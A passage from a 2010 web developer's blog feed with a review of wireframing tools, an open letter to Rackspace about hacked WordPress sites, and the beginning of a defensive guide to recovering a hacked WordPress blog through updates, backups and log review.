<span id="more-2867"></span></p>
<p>Spending the time to plan your project out well at the very beginning may seem like a luxury your timeline and budget can&#8217;t allow, but most people realize pretty quickly that failing to do so often ends up costing exponentially more time and money towards the end of the project, when you have exactly <em>none</em> of either to spare.</p>
<p>Scope starts to creep, or features and interface challenges that hadn&#8217;t been thought through before are suddenly at the center of a series of critical and rushed decisions that have to be made. This means that you (and/or your crew) are stressed, and because you&#8217;ve run out of time and money, you end up having to cobble something together that works as a compromise, but doesn&#8217;t stand up to the caliber of work you pride yourself on creating.</p>
<p>For those of you who have been reading this blog for many years, you&#8217;ll recognize the tune I&#8217;m singing. I constantly harp about planning and documenting. My love affair with planning and documentation isn&#8217;t just because of that head injury I suffered as a kid &#8211; its because I&#8217;ve been fucked over so many times and on such a grand scale in the past when I (or my client/manager) have decided to cut corners and just &#8220;crank it out&#8221;. While the &#8220;crank it out&#8221; method may work sometimes, the times that it fails, it fails hard, at the expense of time, money, quality and developer sanity.</p>
<p>Okay, I&#8217;ll get off my soapbox. For now. &lt;/rant&gt;</p>
<p>So, wireframes. I&#8217;ve done them in just about every application you can imagine. Visio, Smartdraw, Omnigraffle, even hand-drawn &#8211; you name it, I&#8217;ve probably tried it. I&#8217;ve been on the eternal quest for the perfect wireframing solution,  but I&#8217;ve always been left wanting.</p>
<h3>But What ARE Wireframes?</h3>
<p><strong>Wireframes are a graphical representation of a website or application that help illustrate the user interface without the clutter of stylized design elements. </strong>If you skip the wireframe process and go right to Photoshop comps, the client can often get so hung up on the fact that they want that button to be blue with rounded corners instead of green with a square corners that critical elements in the UI can be forgotten altogether. Wireframes let you plan through the user interface elements that are required for each screen in a barebones, no-frills manner.</p>
<p><img class="aligncenter size-full wp-image-2872" title="sketchy" src="http://www.snipe.net/wp-content/uploads/2010/02/sketchy.gif" alt="" width="525" height="413" /></p>
<p><strong>I&#8217;m a big fan of sketchy wireframes, especially in the beginning of a project.</strong> I find that if you go to a client with something too polished, they perceive it as a structure that has been decided upon, even when that&#8217;s the furthest thing from the truth. The sketchy styled wireframes have a hand-drawn, loose feel to them that seems to better communicate that it&#8217;s a <em>discussion</em>, not a <em>decision</em>. By avoiding a polished, rigid wireframe, I have found that clients are more able to understand that what they&#8217;re looking at isn&#8217;t meant to represent the finished design.</p>
<p>I used to hand-draw my wireframes &#8211; but the obvious challenges there is that if a change is made to an element that appears on many pages of the site, you now have to re-do all of those drawings. Another disadvantage to pen and paper wireframes is that you have to write a crapload of code if you want to extend the drawing into an interactive format where the client can actually click on elements and see how they behave.</p>
<h3>Evolution: Easy Prototyping</h3>
<p><strong>More recently, I had found a few apps that were a lot closer to what I was looking for. <a href="http://www.balsamiq.com/products/mockups" target="_blank">Balsamiq Mockups</a></strong> is a great application that has a gorgeous sketchy style and a <a href="http://mockupstogo.net/" target="_blank">great library of user-contributed downloadable interface elements</a>, so just about every imaginable interface element is available for free download once you&#8217;ve purchased the product. More interestingly, <strong><a href="http://www.napkee.com/" target="_blank">Napkee</a></strong> is a commercial addon for Balsamiq that allows you to export your wireframes into HTML (with jQuery) or a Flex file, turning static wireframes into a prototyping tool with very little additional work. Neat!</p>
<p><strong>Unfortunately, Napkee ended up being a little buggy sometimes, and perhaps more importantly, Balsamiq doesn&#8217;t natively support Master templates yet.</strong> So once again, when a change was made to the main site navigation, I&#8217;d have to go in and edit 30 files instead of being able to update a Master template and have those changes reflected across the boards.</p>
<p><strong>Another drawback is that Balsamiq does not support the ability to switch back and forth from sketchy style to straight lines. </strong>In my workflow process, what I wanted was to be able to do the rough sketchy style wireframes in the beginning, update them as needed, and then be able to click a button and convert them into a more polished, final-looking set of wireframes that I could hand over to the graphic designers with a client sign-off.</p>
<p>A later contender, <strong><a href="http://www.flairbuilder.com/home/viewer/" target="_blank">Flairbuilder</a></strong>, looked like it might be the answer. It does support the ability to toggle back and forth between sketchy and regular line styles, however the sketchy-style lines somehow didn&#8217;t look as nice as Balsamiq&#8217;s, and (<em>this is the big one</em>) in order to show the client a working prototype that was created with the desktop version, you had to export the file and then <em>ask them to download a proprietary viewer</em>. Fuck that noise. Half my clients are still on IE6 for chrissakes. I&#8217;m not asking them to download anything. So back to Balsamiq I went. Until now.</p>
<h3>The Next Generation</h3>
<p>Enter <strong><a href="http://iplotz.com/" target="_blank">iPlotz</a></strong>. I like it already because the name makes me think of a pixelated rabbi pitching a fit. What are their next product lines going to be, the <em>iKibitz</em> and the <em>iSchmaltz</em>? HAH! I&#8217;m hilarious. But probably more importantly, it fills in the gaps that Balsamiq+Napkee and Flairbuilder couldn&#8217;t &#8211; and even adds some great project organization, management and collaboration tools in to boot.</p>
<p>The interface is pretty intuitive, and they have a nice library of elements from which to choose &#8211; plus, like Balsamiq, they have a <a href="http://iplotz.com/projects.php" target="_blank">public repository of snippets and projects</a> available for download to fill in the gaps. Like Balsamiq, iPlotz has both a web-based version and a desktop version. The desktop version is a must-have for me, since I spend a hideous amount of time (4.5 hours a day) commuting through mountains where I have no connectivity.</p>
<h3>What&#8217;s Awesome</h3>
<ul>
<li>Works on PC, Mac and Linux. (I normally despise AIR applications &#8211; but it works here. Nicely executed.)</li>
<li>Support for Master template files. If our main app nav or layout changes, change it once and it automagically updates on all the pages using that Master. HUGE time saver.</li>
<li>Send work you created in desktop client to your web account, so you can do a lot of the work wherever you want and then upload it  when you&#8217;re ready to use the collaboration tools.</li>
<li>Toggle between sketchy-style, Mac skin and PC skin, great for rough mockups and then converting to polished final versions with just a click.</li>
<li>Export PDF list with thumbnail of annotated elements an annotations, perfect for an organized breakdown of more specific details on each element. LOVE this &#8211; didn&#8217;t know I wanted this feature until I found it here.</li>
<li>Online collaboration with others, allowing clients and co-workers to add notes and comments right into the file.</li>
<li>Detailed version history.</li>
<li>Built-in task management system with milestone, great for organizing work on large projects where tasks can get lost.</li>
<li>Export wireframe pages as PNG.</li>
<li>Share the HTML prototype on their server, or export to ZIP file and upload it to your own.</li>
<li>One-click grid overlay.</li>
<li>Easily embed the prototype in your own websites.</li>
<li>Easily create or import additional UI elements from user contributed snippets.</li>
<li>Properties menu lets you specify exact pixel dimensions for every element if needed.</li>
<li>Separate menu of iPhone UI elements (Android coming soon).</li>
<li>Automatic site map generation.</li>
</ul>
<h3>What Needs Work</h3>
<p>Of course nothing is going to be perfect, and iPlotz is no exception. Here are a few of the things that bug me, <em>none</em> of which are even close to being deal-breakers in my world.</p>
<ul>
<li>Hotkey mapping is a little wonky in some browsers, but that is more an artifact of AIR/Flash than it is iPlotz, I think.</li>
<li>Some elements do not maintain the same sketch style. For example, the module-style widget has rounded corners, which is inconsistent with the rest of the sketchy style&#8217;s squared corners. I also feel it is introduces a level of graphic design that I specifically wish to avoid by using sketchy frames. I have only noticed this on a handful of elements, however, and I spoke to iPlotz founder Mark Vernon today and he assures me that properties like that will be customizable in the near future. </li>
<li>Element library isn&#8217;t as extensive as Balsamiq, but user-contributed snippets seem to be on the rise</li>
<li>I didn&#8217;t see any way to save a frequently used imported snippet to your element library so you can get to the easily for future projects. <strong>UPDATE: </strong>Mark informed me that they&#8217;re going to be pushing out this functionality in one of their next releases. I&#8217;ll be checking it out on their staging server.</li>
</ul>
<h3>My Demo</h3>
<p>In order to give it a fair review, I decided to whip up a small set of mockups, both to give me an idea of what the UI is like, and to be able to show you some &#8220;finished&#8221; products. </p>
<p>Below is the embeddable widget that I could easily stick into a branded HTML page to show my client. Click around in it, and you&#8217;ll see it&#8217;s fully functional. The size was dictated by my blog size, not a iPlotz limitation. You can display it at whatever size you&#8217;d like in your own sire.</p>
<div style="text-align: center; padding-bottom: 15px;"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="550" height="450" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowScriptAccess" value="always" /><param name="allowFullScreen" value="true" /><param name="src" value="http://iplotz.com/app/viewer.swf?k=bb21379aab442e40608a3121ab798e97&amp;project_name=Snipe test&amp;project_id=31845&amp;page_id=31845_7&amp;e=1&amp;a=19791" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="550" height="450" src="http://iplotz.com/app/viewer.swf?k=bb21379aab442e40608a3121ab798e97&amp;project_name=Snipe test&amp;project_id=31845&amp;page_id=31845_7&amp;e=1&amp;a=19791" allowfullscreen="true" allowscriptaccess="always"></embed></object></div>
<p>Check out my <strong><a href="http://iplotz.com/app/viewer.php?k=9ec5982af4082394ffc8070e86bd4f3b&#038;pr=31845&#038;pg=31845_10&#038;a=19791&#038;sitemap=true#">sitemap demo version here</a></strong>. You can set your wireframes to public or private &#8211; I&#8217;ve got mine set to public so that you can see them, but I probably would keep them private and just assign roles to team members on a real project.</p>
<p>Take a few minutes and click around in the protoype. The nav menus, homepage accordian box, contact form, etc all work, and it required no extra work on my part other than to specify a link in the element&#8217;s properties. (If you&#8217;ve used Balsamiq+Napkee before, the process is basically identical.)</p>
<p>For client deliverables, in addition to the fancy shmancy working protoype, I can easily export single wireframes (using the sketchy style, the Mac OS style or the PC style):</p>
<p><a href="http://www.snipe.net/wp-content/uploads/2010/02/homepage.png"><img src="http://www.snipe.net/wp-content/uploads/2010/02/homepage-560x471.png" alt="" title="homepage" width="560" height="471" class="aligncenter size-large wp-image-2883" /></a></p>
<p><a href="http://www.snipe.net/wp-content/uploads/2010/02/contact.png"><img src="http://www.snipe.net/wp-content/uploads/2010/02/contact-560x471.png" alt="" title="contact" width="560" height="471" class="aligncenter size-large wp-image-2884" /></a></p>
<p>Or I can export them all into one PDF [<a href="http://www.snipe.net/wp-content/uploads/2010/02/mockups.pdf">PDF link</a>]. And this is my favorite part &#8211; the bit I didn&#8217;t realize I needed until I had it &#8211; I can generate a PDF that contains only the elements in the pages that have annotations [<a href="http://www.snipe.net/wp-content/uploads/2010/02/annotations.pdf">PDF link</a>]. This is fantastic because it allows me to explain any special considerations around specific elements in great detail without cluttering up the wireframe itself. I normally have to manually create this documentation, so <strong>this feature alone has just saved me <em>hours</em> of repetitive work</strong>.</p>
<h3>Another Potential Option. Sorta.</h3>
<p><strong>Another interesting contender is <a href="http://www.protoshare.com/" target="_blank">ProtoShare</a></strong>. It looks to have a lot of the same functionality as iPlotz, with online collaboration, version history, project management elements and easy prototyping, however their product is web-only, which I&#8217;m not crazy about, and their free demo required a credit card, which I can&#8217;t stand on principle. </p>
<p><strong><em>Protip: </em></strong>The free trial is supposed to woo new clients and get them on-board and buying as quickly as possible &#8211; asking for a credit card number just so someone can try out your software is a little sleazy, as if you&#8217;re hoping I&#8217;m going to forget to cancel and you can suck me for at least a few bucks before I get around to it. If your product is good and brings value, I will buy it. Don&#8217;t force me. Dick.</p>
<p>For me, web collaboration might work fine for my personal web clients,  but some of the clients we have at the agency I work for have strict  rules about online collaboration in apps that do not live on our server  or theirs, so my particular circumstance might limit the times I can use the collaboration in a practical situation.</p>
<p><strong>The price points on ProtoShare is also a little higher.</strong> iPlotz starts at exactly free, albeit with a very limited plan, only 1 project, max 5 pages. The next plan is $15 a month (although the best value seems to be the yearly plan of $99 which comes with a license for the desktop version), whereas ProtoShare starts at $29/month with restrictions on how many people can review/collaborate. Who knows &#8211; it might be worth the extra scratch, but I <em>hate</em> using web-only tools, and I&#8217;m not going to give them my credit card information just to try out a demo. You can compare their prices in more detail here: <a href="http://www.protoshare.com/cgi-bin/WebObjects/Protoshare.woa/3/nobkmark/pRKey5fwWtE3SvtVvtychM/18.0" target="_blank">ProtoShare</a> vs <a href="http://iplotz.com/price.php" target="_blank">iPlotz</a>. When they come out with a desktop version, I might be willing to check it out. I don&#8217;t see any option for the sketchy-style mockups in ProtoShare either though, which is another negative in their column.</p>
<p>But hey, don&#8217;t take my word for it &#8211; check out the video demos on both sites and download iPlotz. I&#8217;m curious to know what you think.</p>
<p><strong>Note:</strong> The title of this article refers to &#8220;cheap&#8221;. While to many people, &#8220;cheap&#8221; might mean &#8220;free&#8221;, I consider ~$99 a year a reasonable price for such a flexible tool that is such an important part of my job, especially since Balsamiq is $79 and Napkee is $49, so you&#8217;re spending that much even if you go the &#8220;cheaper&#8221; route. Seriously, you spend more than $100 on Starbucks (or whatever corporate coffee swill you&#8217;re into) a month, and I spend more than that on hookers and blow in a single week. You can also buy the iPlotz software outright without the web collaboration, which ends up being about $80 for a one-time purchase. </p>
<p>So that&#8217;s iPlotz. I&#8217;m a now paid member, and I&#8217;m very happy with what they provide. Plus, in talking to Mark today, it sounds like they&#8217;ve got more very cool features coming down the line soon.</p>
<p>What prototyping/wireframing tool do you use? Let me know in the comments!</p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2009/01/cheap-or-free-website-status-monitoring/' rel='bookmark' title='Permanent Link: Cheap or Free Website Status Monitoring'>Cheap or Free Website Status Monitoring</a> <small>Its a call you never, ever want to get. &#8220;My...</small></li>
<li><a href='http://www.snipe.net/2008/07/generate-lists-of-banned-words-for-forums-and-other-applications/' rel='bookmark' title='Permanent Link: Generate lists of banned words for forums and other applications'>Generate lists of banned words for forums and other applications</a> <small>If you develop software for a living, or if you...</small></li>
<li><a href='http://www.snipe.net/2009/10/mini-site-facebook-static-fbml/' rel='bookmark' title='Permanent Link: Extending Facebook Static FBML Tabs with Dynamic Content'>Extending Facebook Static FBML Tabs with Dynamic Content</a> <small>This tutorial walks you through how to use DynamicFBML to...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2010/02/wireframes/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>An Open Letter to Rackspace Cloud Hosting</title>
		<link>http://www.snipe.net/2010/01/an-open-letter-to-rackspace-cloud-hosting/</link>
		<comments>http://www.snipe.net/2010/01/an-open-letter-to-rackspace-cloud-hosting/#comments</comments>
		<pubDate>Fri, 29 Jan 2010 00:07:55 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[cloud]]></category>
		<category><![CDATA[rackspace]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=2851</guid>
		<description><![CDATA[I just received an automated email from Rackspace that made my brain melt. It&#8217;s no secret that a lot of websites have been hacked lately. One thing they seem to have in common is that they&#8217;re all running WordPress, and a lot of them are hosted at the Rackspace Cloud. Dear Alison, Since we host [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F01%2Fan-open-letter-to-rackspace-cloud-hosting%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F01%2Fan-open-letter-to-rackspace-cloud-hosting%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>I just received an automated email from Rackspace that made my brain melt. It&#8217;s no secret that a lot of websites have been hacked lately. </p>
<p>One thing they seem to have in common is that they&#8217;re all running WordPress, and <a href="http://benmetcalfe.com/blog/2010/01/wordpress-to-be-currently-considered-unsafe/">a lot of them are hosted at the Rackspace Cloud</a>.</p>
<p><span id="more-2851"></span></p>
<blockquote><p>Dear Alison,</p>
<p>Since we host hundreds of thousands of applications at The Rackspace Cloud, we have a unique vantage point from which we can identify security trends and patterns. Lately, the industry has seen an elevated level of attempts to take advantage of code vulnerabilities in the software powering websites. Hackers are a common and persistent threat to any website, but there are steps you can take to protect yourself and to make your websites and applications harder to exploit.</p>
<p>Please read over the important tips below. We have dedicated security experts who work to protect our infrastructure, but since we can&#8217;t fix or upgrade code on behalf of our customers, it&#8217;s important for you to know and regularly implement security best practices in the code you run. We need your help and involvement to ensure your own sites are as protected as possible. If you have any questions about security, please reply to this email and we&#8217;ll  be happy to help.</p>
<p>HERE&#8217;S WHAT OUR SECURITY TEAM HAS RECENTLY IDENTIFIED:</p>
<p>1. The current data that we&#8217;ve collected points to application-based vulnerabilities being exploited. Hackers commonly scan sites for insecure applications, plugins, or other pieces of code and then work to take advantage of the software exploits they find.</p>
<p>2. Applications using the popular blogging software WordPress appear to be mostly targeted, but WordPress isn&#8217;t the sole target of the malicious groups / persons.</p>
<p>3. Your site does not have to be high-profile to be targeted. Hackers often scan random sites for signs of software known to be vulnerable (older versions of popular software with publicly known security holes, for example).</p>
<p>HERE&#8217;S WHAT YOU SHOULD DO NOW TO PROTECT YOUR SITES:</p>
<p>1. This is probably the most important tip: For any application you use, be sure to maintain the most current stable version. Often, an application might be updated to a new minor version solely to address a security hole that&#8217;s been discovered. Be sure to subscribe to any news lists and feeds available for your applications to make sure you are aware of updated versions as soon as they are released.</p>
<p>2. Many applications, like WordPress, have optional plugins developed by the community. Since these add-ons are often not as well vetted, it&#8217;s extremely important to carefully evaluate and manage third party application plugins, themes, or other functionality that is introduced to a running web application. Most hackers are exploiting these plug-ins</p>
<p>3. It&#8217;s imperative to choose strong passwords. Randomly generated strings of letters, numbers, and symbols are best. Avoid words and phrases in your passwords. The unfortunate reality: passwords that are easy to remember are also easy to guess. (Ex: Replacing o by the number 0 is not a recommended tactic.)</p>
<p>4. Change your passwords on a regular basis and change them immediately when you have any hunch that your site may have been attacked.</p>
<p>5. Be as restrictive as possible with users and file permissions. Remove write permissions from files that aren&#8217;t likely to change frequently. Some programs have install files that should be deleted after installation. If you&#8217;ve installed something or written code for testing purposes or experimentation, it&#8217;s best to remove it afterwards. Only keep the files and code on your account that are active and necessary.</p>
<p>As a site owner, you need to take an active role in guaranteeing security of your code and applications. The good news is that our support staff is happy to help you with any questions or concerns you may have. Recovering from a hack or exploit is extremely time-consuming and frustrating. The preventive steps outlined above can make a world of difference in keeping your sites secure.</p>
<p>Finally, if you suspect your site has already been compromised, you should take immediate action. This knowledge base article can help you through the right steps:</p>
<p><a href="http://cloudsites.rackspacecloud.com/index.php/Recovering_from_and_Dealing_with_a_Site_Compromise">http://cloudsites.rackspacecloud.com/index.php/Recovering_from_and_Dealing_with_a_Site_Compromise</a></p>
<p>Sincerely,<br />
The Rackspace Cloud Security Team </p></blockquote>
<p>I want to preface this by saying there are a LOT of people that work at Rackspace that are absolutely awesome. The guys I know from Twitter are amazing, and helpful and care about customer happiness more than I can even say. None of this is their fault. This is NOT about them. This is about something fundamentally wrong with priorities at Rackspace, in my opinion.</p>
<p>I replied:</p>
<blockquote><p>Too little, too late. I could have (and did) tell you all of this already.</p>
<p>And unfortunately, running the most recent version of WordPress doesn&#8217;t help. This week, I have personally had to repair 11 WordPress websites hosted on the RS Cloud that were hacked, all were running 2.9.1 and had very few plugins in common. The plugins they do have in common, like WP-Supercache, are plugins Rackspace suggests to keep the CPU-cycle raping down to a minimum. And WP-Supercache is a mature plugin that is very well supported so it seems unlikely (although certainly not impossible) that it is the vector.</p>
<p>And thanks to your logfiles not being able to be viewed in real time (as they are owned by root), this leaves web developers that actually have a clue very few options for forensically backtracking the vector.</p>
<p>I would like to know what Rackspace is doing to help developers isolate these issues? Are logfiles being programmatically reviewed for malicious traffic? Without SSH access and the ability to tail apache logs, we cannot do this ourselves within any kind of timeframe that will be useful in preventing or mitigating an attack. If I am going to continue hosting with Rackspace, I want to be assured that Rackspace is actually doing something to help us protect ourselves other than send emails that overstate the obvious.</p>
<p>Your support staff, at least most of the level 1 techs, are completely and utterly incapable of handling anything relating to hacks. They are slow and under-educated, regardless of how well meaning they might be.</p>
<p>You guys are in the position where you can help isolate these vectors. What steps are you taking? You need to up your game, or I&#8217;m bailing, and likely taking a lot of people with me. There is a lot of buzz going around about these vulnerabilities being specific to Rackspace Cloud, as it seems the vast, vast majority of the WordPress hacks have been on RS CS hosted sites.</p>
<p>I have confronted several of your higher-ups in the Cloud, including CTO John Engates, multiple times over the past year, begging for better tools to monitor security, offering to pay extra for them. Simple tools that even terrible, insecure Cpanel servers have. The entire purpose of Mosso, when it was created, was to target web developers &#8211; at least that&#8217;s how it was pitched to me. Web developers. Professionals. Many of us with over a decade of experience in this business. You deny us SSH and real-time Apache logs, but do nothing to provide us with any tools we would need without access to those basics &#8211; and then to add insult to injury, you send us a form letter that tells us to use good passwords and keep WordPress up to date? If your target is still the web development community, it&#8217;s time to nut up or shut up. We&#8217;re already doing all of these things, and we&#8217;re still getting fucked. It makes us look bad, it costs us time and money, and the trust of our clients.</p>
<p>Your customers are under attack, and I want to know what you plan to do to help us protect ourselves and our clients, or I am taking my business to a company that values my time and reputation.</p></blockquote>
<p>I would not have published this letter to my blog if this were not something that I have been asking for, over and over and over, for the entire year I&#8217;ve been with Rackspace Cloud. I have tried to keep my issues with Rackspace off the grid, because overall I have felt like they&#8217;ve been trying to work with me to keep me happy. But this was just too much.</p>
<p>No one is sorrier than I am that it came to this. </p>


<p>Possibly related posts:<ol><li><a href='http://www.snipe.net/2010/03/the-cloud-is-a-lie/' rel='bookmark' title='Permanent Link: The Cloud is a Lie'>The Cloud is a Lie</a> <small>Okay, the cloud (or grid or whatever they&#8217;re calling it...</small></li>
<li><a href='http://www.snipe.net/2010/06/upgrading-to-wordpress-3/' rel='bookmark' title='Permanent Link: Upgrading to WordPress 3.0 and Adding Multi-Site'>Upgrading to WordPress 3.0 and Adding Multi-Site</a> <small>WordPress 3.0, code name “Thelonious”, has been released, and it...</small></li>
<li><a href='http://www.snipe.net/2010/01/when-wordpress-gets-hacked/' rel='bookmark' title='Permanent Link: When Your WordPress Blog Gets Hacked'>When Your WordPress Blog Gets Hacked</a> <small>It happens to most bloggers at some point &#8211; your...</small></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.snipe.net/2010/01/an-open-letter-to-rackspace-cloud-hosting/feed/</wfw:commentRss>
		<slash:comments>42</slash:comments>
		</item>
		<item>
		<title>When Your WordPress Blog Gets Hacked</title>
		<link>http://www.snipe.net/2010/01/when-wordpress-gets-hacked/</link>
		<comments>http://www.snipe.net/2010/01/when-wordpress-gets-hacked/#comments</comments>
		<pubDate>Mon, 25 Jan 2010 11:11:10 +0000</pubDate>
		<dc:creator>snipe</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[forensics]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[keyloggers]]></category>
		<category><![CDATA[mod_rewrite]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.snipe.net/?p=2809</guid>
		<description><![CDATA[It happens to most bloggers at some point &#8211; your WordPress blog gets pwned, and you&#8217;re not sure where to even start. I&#8217;ve gone through this process enough times, helping friends restore their blogs after a hack that it seemed like it might be helpful if I wrote an article about it. This article will [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F01%2Fwhen-wordpress-gets-hacked%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.snipe.net%2F2010%2F01%2Fwhen-wordpress-gets-hacked%2F&amp;source=snipeyhead&amp;style=normal&amp;service=bit.ly&amp;service_api=R_92bd97f4f8b9fa8a40675b36ea291223" height="61" width="50" /><br />
			</a>
		</div>
<p>It happens to most bloggers at some point &#8211; your WordPress blog gets pwned, and you&#8217;re not sure where to even start. I&#8217;ve gone through this process enough times, helping friends restore their blogs after a hack that it seemed like it might be helpful if I wrote an article about it.<br />
<span id="more-2809"></span></p>
<p>This article will deal with how to restore your WordPress install, and perhaps more importantly, where to look to try to determine the nature of the attack so that you can make sure it won&#8217;t happen again. The vast majority of the techniques and principles mentioned in this article apply to any website, not just WordPress blogs, but a few sections are WordPress specific.</p>
<p>Actually, the latter is what most of this article will deal with, since spending the time to restore your blog is a complete waste of time if the vulnerability that allowed it to get hacked has not been addressed. If you&#8217;re not a pro, you probably just haven&#8217;t been exposed to this kind of forensics in the past, and failing to address the root of the problem (no pun intended) is why your blog may be repeatedly hacked over and over.</p>
<h3>The Impact of a Hack</h3>
<p>The full-impact of a hacked site or blog depends partially on the type of hack, and what the attack did. We&#8217;ll get into that a little further down in the article, but the high-level impacts of a site hack are:</p>
<ul>
<li>Lost time spent restoring the site, or lost money paying someone else to if you don&#8217;t have the technical skills.</li>
<li> Possibly lost data or files.</li>
<li>Site downtime, potentially resulting in lost sales or referrals</li>
<li>Lost trust in your site by your user base. This can be devastating, and potentially the most difficult to fix, depending on how you react to the hack.</li>
<li>Possibly infecting your users with malware.</li>
</ul>
<p>Pretty serious stuff &#8211; but fortunately, <strong>two of the most significant items in that list are things you can directly mitigate</strong> by taking some precautions and staying calm if you get hit with an attack.</p>
<h3>When You Fail to Prepare, You Prepare to Fail</h3>
<p>My 8th grade science teacher used to say this, as he whipped out the yellow-lined paper that indicated we were getting an unannounced pop-quiz. Mr. Hill was one of the best teachers I&#8217;ve ever had, even though his smug grin and those damned yellow sheets of paper haunt me to this day. But you know what? He was totally right.</p>
<p>Right now, as you&#8217;re reading this, there is a reasonably good chance that someone is attempting to find a vulnerability in your site that will give them access to do bad things. I&#8217;m not being an alarmist, and unless your server environment is poorly secured and your WordPress install is outdated, they probably won&#8217;t be successful. But there are people and scripts out there doing port scans and attempting automated SQL injections and XSS attacks far more often than you think. You don&#8217;t notice these attacks (unless you obsessively review log files like I do) until one lands that is actually successful, but if you think that&#8217;s the first time it&#8217;s been attempted, you&#8217;re dead wrong.</p>
<p>There are things you can do RIGHT NOW, and habits you get get into that will make early detection and damage control a helluva lot easier.</p>
<h3>Keep WordPress and Plugins Up to Date</h3>
<p>This seems obvious, but it&#8217;s amazing how often it happens. WordPress releases updates often, and many times those updates are released specifically to address a vulnerability that has come to light. It may seem like a pain in the ass, but it really doesn&#8217;t take very long to do a full upgrade, and it&#8217;s one of the easiest ways you protect yourself from attacks.</p>
<p>WordPress is actually pretty secure these days &#8211; certainly a far cry from where it used to be. They&#8217;ve started to implement more security features, and I suspect that trend will continue with future releases. But new security measures don&#8217;t help you if you&#8217;re not running the latest version. Because WordPress is so popular, when a vulnerability is discovered, by way of white hats (good hackers) or black hats (bad hackers), word about it spreads like herpes on a rock star&#8217;s tour bus, and the bad guys work doubletime to write and distribute scripts that take advantage of that vulnerability before it&#8217;s patched.</p>
<p>WordPress does a pretty good job of reacting quickly to newly discovered vulnerabilities, but it&#8217;s up to you to upgrade to reap the benefits of the patches. It&#8217;s also up to you to stay on top of updating your plugins. Sometimes a plugin may have a vulnerability that allows bad guys to do bad things. Hopefully the plugin author is on top of that, and when they are, you&#8217;ve got to remember to login once in a  while and update them.</p>
<p>Be sure to delete any un-used or inactive plugins. The fewer the directories you have hanging out unattended, the safer you are.</p>
<p><strong>IMPORTANT: Make sure that you upgrade ALL of your WordPress installations.</strong> Depending on how your server is set up, if you use one FTP login to access multiple sites, the same user owns the files in all of your websites under that account. This means that <strong>if even one of your WordPress installations is older and therefore vulnerable, it can poison the ones that are up to date</strong> by changing files, installing shells and backdoors, etc.</p>
<h3>Backup, Backup and Backup again</h3>
<p>Seriously, a working backup is your best friend when you need to restore it back to working order. Most hosting companies do some sort of automated backup of your data, but it is <em>your</em> responsibility to ask them exactly what is being backed up, how often, and how long backups are stored on the server. Many hosting companies will do a complete weekly backup, and then a daily backup only of the files that have changed since the weekly backup was run, but you CANNOT assume that this is the case.</p>
<p>Ask them where the backups are stored, and if they are in a location on your server that you have permission to access, download a backup and see what&#8217;s in there. If you have to do a restore, being familiar with the file structure and contents of your backup will save you a lot of time during a high-stress situation.</p>
<p>In addition to whatever backups your server provides, <strong><a href="http://codex.wordpress.org/WordPress_Backups#Automatic_Backups" target="_blank">WordPress has several plugins and tools available</a></strong> to make backing up your blog pretty painless.</p>
<p>I personally do automatic backups to an Amazon S3 account, with the help of a <a href="http://www.webdesigncompany.net/automatic-wordpress-backup/" target="_blank">fantastic plugin called Automatic WordPress Backup</a>. This plugin makes it absolutely effortless to do incremental backups to an external source, and backing up my entire blog, files and database included, costs me about $1.63 a month on my AS3 account. Setup isn&#8217;t that difficult, and they have an exhaustive video that takes you through the entire process from start to finish available on the site.</p>
<p>It&#8217;s a good idea to get in the habit of downloading your automated backups once a week, so that you have historical backups should you need them. Some FTP programs allow scheduled file transfers, otherwise you could whip up a quick Apple script to make it a process you never need to think about. Barring that, add it as a calendar appointment once a week to whatever calendar system you use. Make it part of your routine &#8211; you will never, ever regret it.</p>
<p><strong>Remember that a backup isn&#8217;t a backup until you&#8217;ve tested that it actually works. </strong>Before there is a crisis, try a test restore (back up your working system first, of course!) using the files generated through your backup processes. This will both confirm that the data and files that are being backed up are functional, and will also give you an idea of how the process works so that you don&#8217;t have to figure it out from scratch while you&#8217;re freaking out because you&#8217;ve been hacked. Same concept as a fire drill.</p>
<h3>Ask Your Web Host Where Your Log Files Live</h3>
<p>In the event of a hack or defacement, you will need to know where to find your httpd, ssh and ftp logs. Know where these are, so you don&#8217;t have to scramble to find them during the heat of the moment.</p>
<h3>Early Detection Equals Better Reputation Damage Control</h3>
<p>The only thing worse than being hacked in the first place is being the last to know about it. It&#8217;s embarrassing, it&#8217;s awkward, and you can come off seeming like you&#8217;re out of touch with your own site.</p>
<p>When a user tells you your site has been hacked, <strong>you now have to deal with public perception damage control in addition to getting your site back online</strong> and figuring out wtf happened. The longer the delay in you finding out about it, the more of your users will see the hack, which is certainly not ideal from a PR perspective.</p>
